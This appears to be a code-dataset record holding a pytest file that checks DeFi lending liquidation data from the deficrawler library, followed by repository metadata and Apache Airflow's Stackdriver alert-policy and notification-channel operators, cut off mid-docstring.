from deficrawler.lending import Lending def test_liquidation_aave_2_eth(): aave = Lending(protocol="Aave", chain="Ethereum", version=2) liquidations = aave.get_data_from_date_range( '21/04/2021 05:20:01', '22/04/2021 06:22:01', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Aave") assert(liquidations[0]['chain'] == "Ethereum") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(liquidations[0]['amount_principal'] > 0) assert(liquidations[0]['amount_collateral'] > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_aave_2_eth_user(): aave = Lending(protocol="Aave", chain="Ethereum", version=2) liquidations = aave.get_data_from_date_range( '21/04/2021 05:20:01', '24/04/2021 06:22:01', "liquidation", "0xcfd873f19a86b84cfc4916e8623f2486dc83d792") for liquidation in liquidations: assert(liquidation['user'] == "0xcfd873f19a86b84cfc4916e8623f2486dc83d792") def test_liquidation_aave_2_polygon(): aave = Lending(protocol="Aave", chain="Polygon", version=2) liquidations = aave.get_data_from_date_range( '10/05/2021 00:00:01', '11/05/2021 00:01:10', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Aave") assert(liquidations[0]['chain'] == "Polygon") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(liquidations[0]['amount_principal'] > 0) assert(liquidations[0]['amount_collateral'] > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_aave_2_avalanche(): aave = Lending(protocol="Aave", chain="Avalanche", version=2) liquidations = aave.get_data_from_date_range( '10/10/2021 00:00:01', '18/10/2021 00:01:10', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Aave") assert(liquidations[0]['chain'] == "Avalanche") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(liquidations[0]['amount_principal'] > 0) assert(liquidations[0]['amount_collateral'] > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_aave_2_polygon_user(): aave = Lending(protocol="Aave", chain="Polygon", version=2) liquidations = aave.get_data_from_date_range( '10/05/2021 00:00:01', '14/05/2021 00:01:10', "liquidation", "0x573bcd1d82b5bb799c5340e8f7077a4676f95097") for liquidation in liquidations: assert(liquidation['user'] == "0x573bcd1d82b5bb799c5340e8f7077a4676f95097") def test_liquidation_compound_2_eth(): compound = Lending(protocol="Compound", chain="Ethereum", version=2) liquidations = compound.get_data_from_date_range( '09/05/2021 00:00:01', '11/05/2021 00:01:10', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Compound") assert(liquidations[0]['chain'] == "Ethereum") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(float(liquidations[0]['amount_principal']) > 0) assert(float(liquidations[0]['amount_collateral']) > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_compound_2_eth_user(): compound = Lending(protocol="Compound", chain="Ethereum", version=2) liquidations = compound.get_data_from_date_range( '09/05/2021 00:00:01', '14/05/2021 00:01:10', "liquidation", "0xa507b355d6288a232ac692dad36af80ff1eba062") for liquidation in liquidations: assert(liquidation['user'] == "0xa507b355d6288a232ac692dad36af80ff1eba062") def test_liquidation_cream_2_eth(): cream = Lending(protocol="Cream", chain="Ethereum", version=2) liquidations = cream.get_data_from_date_range( '01/05/2021 00:00:01', '12/05/2021 11:54:10', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Cream") assert(liquidations[0]['chain'] == "Ethereum") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(float(liquidations[0]['amount_principal']) > 0) assert(float(liquidations[0]['amount_collateral']) > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_cream_2_polygon(): cream = Lending(protocol="Cream", chain="Polygon", version=2) liquidations = cream.get_data_from_date_range( '25/09/2021 00:00:01', '26/09/2021 11:54:10', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Cream") assert(liquidations[0]['chain'] == "Polygon") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(float(liquidations[0]['amount_principal']) > 0) assert(float(liquidations[0]['amount_collateral']) > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_cream_2_eth_user(): cream = Lending(protocol="Cream", chain="Ethereum", version=2) liquidations = cream.get_data_from_date_range( '01/05/2021 00:00:01', '14/05/2021 11:54:10', "liquidation","0xcb774b92587f1c19e960eaeb6902d97e2cabd6be") for liquidation in liquidations: assert(liquidation['user'] == "0xcb774b92587f1c19e960eaeb6902d97e2cabd6be") def test_liquidation_cream_2_bsc(): cream = Lending(protocol="Cream", chain="bsc", version=2) liquidations = cream.get_data_from_date_range( '01/05/2021 00:00:01', '12/05/2021 11:54:10', "liquidation") assert(liquidations[0]['tx_id'] != "") assert(liquidations[0]['protocol'] == "Cream") assert(liquidations[0]['chain'] == "bsc") assert(liquidations[0]['version'] == 2) assert(liquidations[0]['user'] != "") assert(liquidations[0]['token_principal'] != "") assert(liquidations[0]['token_collateral'] != "") assert(float(liquidations[0]['amount_principal']) > 0) assert(float(liquidations[0]['amount_collateral']) > 0) assert(liquidations[0]['liquidator'] != "") assert(liquidations[0]['timestamp'] > 0) def test_liquidation_cream_2_bsc_user(): cream = Lending(protocol="Cream", chain="bsc", version=2) liquidations = cream.get_data_from_date_range( '01/05/2021 00:00:01', '14/05/2021 11:54:10', "liquidation", "0x0825602e9d177b51af7d79acbdc68a746bc41ce4") for liquidation in liquidations: assert(liquidation['user'] == "0x0825602e9d177b51af7d79acbdc68a746bc41ce4")

41.893855

114

0.669289

856

7,499

5.704439

0.07243

0.204997

0.268482

0.06881

0.889003

0.875691

0.830842

0.780668

0.771452

0

0.113447

0.150153

7,499

178

115

42.129213

0.652754

0

0.765957

0

0.272303

0.056007

0

0.056007

0

0.58156

1

0.085106

false

0

0.007092

0

0.092199

0

null

1

0

1

0

1

0

null

0

1

0

10

919afa566dba8031db2eb3e3bf47c2a5f7dd5054

42,617

py

Python

airflow/providers/google/cloud/operators/stackdriver.py

holly-evans/airflow

865406cbab4defd35c95afbf0a8d5987ff7788b1

[ "Apache-2.0" ]

8,092

2016-04-27T20:32:29.000Z

2019-01-05T07:39:33.000Z

airflow/providers/google/cloud/operators/stackdriver.py

holly-evans/airflow

865406cbab4defd35c95afbf0a8d5987ff7788b1

[ "Apache-2.0" ]

2,961

2016-05-05T07:16:16.000Z

2019-01-05T08:47:59.000Z

airflow/providers/google/cloud/operators/stackdriver.py

holly-evans/airflow

865406cbab4defd35c95afbf0a8d5987ff7788b1

[ "Apache-2.0" ]

3,546

2016-05-04T20:33:16.000Z

2019-01-05T05:14:26.000Z

# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from typing import TYPE_CHECKING, Optional, Sequence, Tuple, Union from google.api_core.gapic_v1.method import DEFAULT, _MethodDefault from google.api_core.retry import Retry from google.cloud.monitoring_v3 import AlertPolicy, NotificationChannel from airflow.models import BaseOperator from airflow.providers.google.cloud.hooks.stackdriver import StackdriverHook from airflow.providers.google.cloud.links.stackdriver import ( StackdriverNotificationsLink, StackdriverPoliciesLink, ) if TYPE_CHECKING: from airflow.utils.context import Context class StackdriverListAlertPoliciesOperator(BaseOperator): """ Fetches all the Alert Policies identified by the filter passed as filter parameter. The desired return type can be specified by the format parameter, the supported formats are "dict", "json" and None which returns python dictionary, stringified JSON and protobuf respectively. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverListAlertPoliciesOperator` :param format_: (Optional) Desired output format of the result. The supported formats are "dict", "json" and None which returns python dictionary, stringified JSON and protobuf respectively. :param filter_: If provided, this field specifies the criteria that must be met by alert policies to be included in the response. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param order_by: A comma-separated list of fields by which to sort the result. Supports the same set of field references as the ``filter`` field. Entries can be prefixed with a minus sign to sort by the field in descending order. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param page_size: The maximum number of resources contained in the underlying API response. If page streaming is performed per- resource, this parameter does not affect the return value. If page streaming is performed per-page, this determines the maximum number of resources in a page. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project to fetch alerts from. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'filter_', 'impersonation_chain', ) operator_extra_links = (StackdriverPoliciesLink(),) ui_color = "#e5ffcc" def __init__( self, *, format_: Optional[str] = None, filter_: Optional[str] = None, order_by: Optional[str] = None, page_size: Optional[int] = None, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.format_ = format_ self.filter_ = filter_ self.order_by = order_by self.page_size = page_size self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info( 'List Alert Policies: Project id: %s Format: %s Filter: %s Order By: %s Page Size: %s', self.project_id, self.format_, self.filter_, self.order_by, self.page_size, ) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) result = self.hook.list_alert_policies( project_id=self.project_id, format_=self.format_, filter_=self.filter_, order_by=self.order_by, page_size=self.page_size, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverPoliciesLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) return [AlertPolicy.to_dict(policy) for policy in result] class StackdriverEnableAlertPoliciesOperator(BaseOperator): """ Enables one or more disabled alerting policies identified by filter parameter. Inoperative in case the policy is already enabled. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverEnableAlertPoliciesOperator` :param filter_: If provided, this field specifies the criteria that must be met by alert policies to be enabled. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project in which alert needs to be enabled. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ ui_color = "#e5ffcc" template_fields: Sequence[str] = ( 'filter_', 'impersonation_chain', ) operator_extra_links = (StackdriverPoliciesLink(),) def __init__( self, *, filter_: Optional[str] = None, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.filter_ = filter_ self.retry = retry self.timeout = timeout self.metadata = metadata self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info('Enable Alert Policies: Project id: %s Filter: %s', self.project_id, self.filter_) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.enable_alert_policies( filter_=self.filter_, project_id=self.project_id, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverPoliciesLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) # Disable Alert Operator class StackdriverDisableAlertPoliciesOperator(BaseOperator): """ Disables one or more enabled alerting policies identified by filter parameter. Inoperative in case the policy is already disabled. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverDisableAlertPoliciesOperator` :param filter_: If provided, this field specifies the criteria that must be met by alert policies to be disabled. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project in which alert needs to be disabled. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ ui_color = "#e5ffcc" template_fields: Sequence[str] = ( 'filter_', 'impersonation_chain', ) operator_extra_links = (StackdriverPoliciesLink(),) def __init__( self, *, filter_: Optional[str] = None, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.filter_ = filter_ self.retry = retry self.timeout = timeout self.metadata = metadata self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info('Disable Alert Policies: Project id: %s Filter: %s', self.project_id, self.filter_) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.disable_alert_policies( filter_=self.filter_, project_id=self.project_id, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverPoliciesLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) class StackdriverUpsertAlertOperator(BaseOperator): """ Creates a new alert or updates an existing policy identified the name field in the alerts parameter. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverUpsertAlertOperator` :param alerts: A JSON string or file that specifies all the alerts that needs to be either created or updated. For more details, see https://cloud.google.com/monitoring/api/ref_v3/rest/v3/projects.alertPolicies#AlertPolicy. (templated) :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project in which alert needs to be created/updated. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'alerts', 'impersonation_chain', ) template_ext: Sequence[str] = ('.json',) operator_extra_links = (StackdriverPoliciesLink(),) ui_color = "#e5ffcc" def __init__( self, *, alerts: str, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.alerts = alerts self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info('Upsert Alert Policies: Alerts: %s Project id: %s', self.alerts, self.project_id) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.upsert_alert( alerts=self.alerts, project_id=self.project_id, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverPoliciesLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) class StackdriverDeleteAlertOperator(BaseOperator): """ Deletes an alerting policy. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverDeleteAlertOperator` :param name: The alerting policy to delete. The format is: ``projects/[PROJECT_ID]/alertPolicies/[ALERT_POLICY_ID]``. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project from which alert needs to be deleted. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'name', 'impersonation_chain', ) ui_color = "#e5ffcc" def __init__( self, *, name: str, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.name = name self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info('Delete Alert Policy: Project id: %s Name: %s', self.project_id, self.name) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.delete_alert_policy( name=self.name, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) class StackdriverListNotificationChannelsOperator(BaseOperator): """ Fetches all the Notification Channels identified by the filter passed as filter parameter. The desired return type can be specified by the format parameter, the supported formats are "dict", "json" and None which returns python dictionary, stringified JSON and protobuf respectively. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverListNotificationChannelsOperator` :param format_: (Optional) Desired output format of the result. The supported formats are "dict", "json" and None which returns python dictionary, stringified JSON and protobuf respectively. :param filter_: If provided, this field specifies the criteria that must be met by notification channels to be included in the response. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param order_by: A comma-separated list of fields by which to sort the result. Supports the same set of field references as the ``filter`` field. Entries can be prefixed with a minus sign to sort by the field in descending order. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param page_size: The maximum number of resources contained in the underlying API response. If page streaming is performed per- resource, this parameter does not affect the return value. If page streaming is performed per-page, this determines the maximum number of resources in a page. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project to fetch notification channels from. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'filter_', 'impersonation_chain', ) operator_extra_links = (StackdriverNotificationsLink(),) ui_color = "#e5ffcc" def __init__( self, *, format_: Optional[str] = None, filter_: Optional[str] = None, order_by: Optional[str] = None, page_size: Optional[int] = None, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.format_ = format_ self.filter_ = filter_ self.order_by = order_by self.page_size = page_size self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info( 'List Notification Channels: Project id: %s Format: %s Filter: %s Order By: %s Page Size: %s', self.project_id, self.format_, self.filter_, self.order_by, self.page_size, ) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) channels = self.hook.list_notification_channels( format_=self.format_, project_id=self.project_id, filter_=self.filter_, order_by=self.order_by, page_size=self.page_size, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverNotificationsLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) return [NotificationChannel.to_dict(channel) for channel in channels] class StackdriverEnableNotificationChannelsOperator(BaseOperator): """ Enables one or more disabled alerting policies identified by filter parameter. Inoperative in case the policy is already enabled. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverEnableNotificationChannelsOperator` :param filter_: If provided, this field specifies the criteria that must be met by notification channels to be enabled. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The location used for the operation. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'filter_', 'impersonation_chain', ) operator_extra_links = (StackdriverNotificationsLink(),) ui_color = "#e5ffcc" def __init__( self, *, filter_: Optional[str] = None, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.filter_ = filter_ self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info( 'Enable Notification Channels: Project id: %s Filter: %s', self.project_id, self.filter_ ) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.enable_notification_channels( filter_=self.filter_, project_id=self.project_id, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverNotificationsLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) class StackdriverDisableNotificationChannelsOperator(BaseOperator): """ Disables one or more enabled notification channels identified by filter parameter. Inoperative in case the policy is already disabled. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverDisableNotificationChannelsOperator` :param filter_: If provided, this field specifies the criteria that must be met by alert policies to be disabled. For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering. :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project in which notification channels needs to be enabled. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant Service Account Token Creator IAM role to the directly preceding identity, with first account from the list granting this role to the originating account (templated). """ template_fields: Sequence[str] = ( 'filter_', 'impersonation_chain', ) operator_extra_links = (StackdriverNotificationsLink(),) ui_color = "#e5ffcc" def __init__( self, *, filter_: Optional[str] = None, retry: Union[Retry, _MethodDefault] = DEFAULT, timeout: Optional[float] = None, metadata: Sequence[Tuple[str, str]] = (), gcp_conn_id: str = 'google_cloud_default', project_id: Optional[str] = None, delegate_to: Optional[str] = None, impersonation_chain: Optional[Union[str, Sequence[str]]] = None, **kwargs, ) -> None: super().__init__(**kwargs) self.filter_ = filter_ self.retry = retry self.timeout = timeout self.metadata = metadata self.gcp_conn_id = gcp_conn_id self.project_id = project_id self.delegate_to = delegate_to self.impersonation_chain = impersonation_chain self.hook: Optional[StackdriverHook] = None def execute(self, context: 'Context'): self.log.info( 'Disable Notification Channels: Project id: %s Filter: %s', self.project_id, self.filter_ ) if self.hook is None: self.hook = StackdriverHook( gcp_conn_id=self.gcp_conn_id, delegate_to=self.delegate_to, impersonation_chain=self.impersonation_chain, ) self.hook.disable_notification_channels( filter_=self.filter_, project_id=self.project_id, retry=self.retry, timeout=self.timeout, metadata=self.metadata, ) StackdriverNotificationsLink.persist( context=context, operator_instance=self, project_id=self.project_id or self.hook.project_id, ) class StackdriverUpsertNotificationChannelOperator(BaseOperator): """ Creates a new notification or updates an existing notification channel identified the name field in the alerts parameter. .. seealso:: For more information on how to use this operator, take a look at the guide: :ref:`howto/operator:StackdriverUpsertNotificationChannelOperator` :param channels: A JSON string or file that specifies all the alerts that needs to be either created or updated. For more details, see https://cloud.google.com/monitoring/api/ref_v3/rest/v3/projects.notificationChannels. (templated) :param retry: A retry object used to retry requests. If ``None`` is specified, requests will be retried using a default configuration. :param timeout: The amount of time, in seconds, to wait for the request to complete. Note that if ``retry`` is specified, the timeout applies to each individual attempt. :param metadata: Additional metadata that is provided to the method. :param gcp_conn_id: (Optional) The connection ID used to connect to Google Cloud Platform. :param project_id: The project in which notification channels needs to be created/updated. :param delegate_to: The account to impersonate using domain-wide delegation of authority, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :param impersonation_chain: Optional service account to impersonate using short-term credentials, or chained list of accounts required to get the access_token of the last account in the list, which will be impersonated in the request. If set as a string, the account must grant the originating account the Service Account Token Creator IAM role. If set as a sequence, the identities from the list must grant 